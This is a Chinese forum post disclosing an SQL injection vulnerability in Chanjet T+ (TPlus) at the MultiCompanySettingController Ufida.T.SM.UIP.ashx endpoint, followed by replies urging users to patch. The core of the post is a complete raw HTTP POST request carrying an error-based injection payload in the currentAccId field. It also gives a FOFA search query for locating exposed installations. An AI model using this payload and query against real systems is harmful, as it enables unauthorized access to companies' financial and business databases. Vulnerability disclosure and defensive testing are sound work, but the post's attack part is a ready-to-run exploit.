畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。1. 畅捷通简介
畅捷通T+专属云适用于需要一体化管理的企业，财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。
2.漏洞描述
畅捷通T+专属云适用于需要一体化管理的企业，财务管理、业务管理、零售管理、生产管理、物流管理、移动仓管、营销管理、委外加工等人财货客一体化管理。畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞。
CVE编号:
CNNVD编号:
CNVD编号:
3.影响版本畅捷通T+
畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞4.fofa查询语句
app="畅捷通-TPlus"
5.漏洞复现
漏洞链接：http://xx.xx.xx.xx/tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx?method=Load
漏洞数据包：
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanySettingController,Ufida.T.SM.UIP.ashx?method=Load HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xx.xx.xx.xx
Content-Type: application/json
Content-Length: 137
{"currentAcc":"1","currentAccId":"2' and 1=convert(int,@@version)+'a--+","currentDsName":"1","currentVersion":"1","currentVersionNo":"1"}
Re: 畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
感谢分享这个漏洞信息。SQL注入是高危风险，希望相关用户尽快更新补丁或做好防护，避免数据泄露。顺便提醒大家：复现测试请一定在授权环境下进行，保障系统安全。Re: 畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
感谢分享这个漏洞信息，描述得很详细。对于使用畅捷通T+的企业来说，SQL注入风险值得重视，建议尽快排查受影响版本并升级补丁或采取临时防护措施。Re: 畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
感谢楼主分享这个漏洞情报！畅捷通T+在企业管理中应用很广，这个SQL注入漏洞影响面不小，建议使用该产品的用户尽快排查修复。楼主能提供具体的复现步骤和数据包，对安全测试和防护很有参考价值。请问这个漏洞有没有官方的补丁或临时缓解措施？Re: 畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
感谢分享这个漏洞情报。SQL注入风险很高，建议使用相关版本的用户尽快排查修复，尤其是对外暴露的接口要做好输入过滤和参数化查询。另外，能否补充一下受影响的畅捷通T+具体版本号范围？这样大家更容易确认自己是否中招。Re: 畅捷通TPlus Ufida.T.SM.UIP.ashx存在SQL注入漏洞
感谢分享这个漏洞情报。SQL注入属于高危漏洞，攻击者可能利用它获取数据库敏感信息甚至控制系统。建议使用畅捷通T+的用户尽快确认版本是否受影响，及时安装官方补丁或升级到安全版本，同时做好网络访问控制和输入验证。如果有自己的安全团队，可以进行内部自查，减少风险。
页:
[1]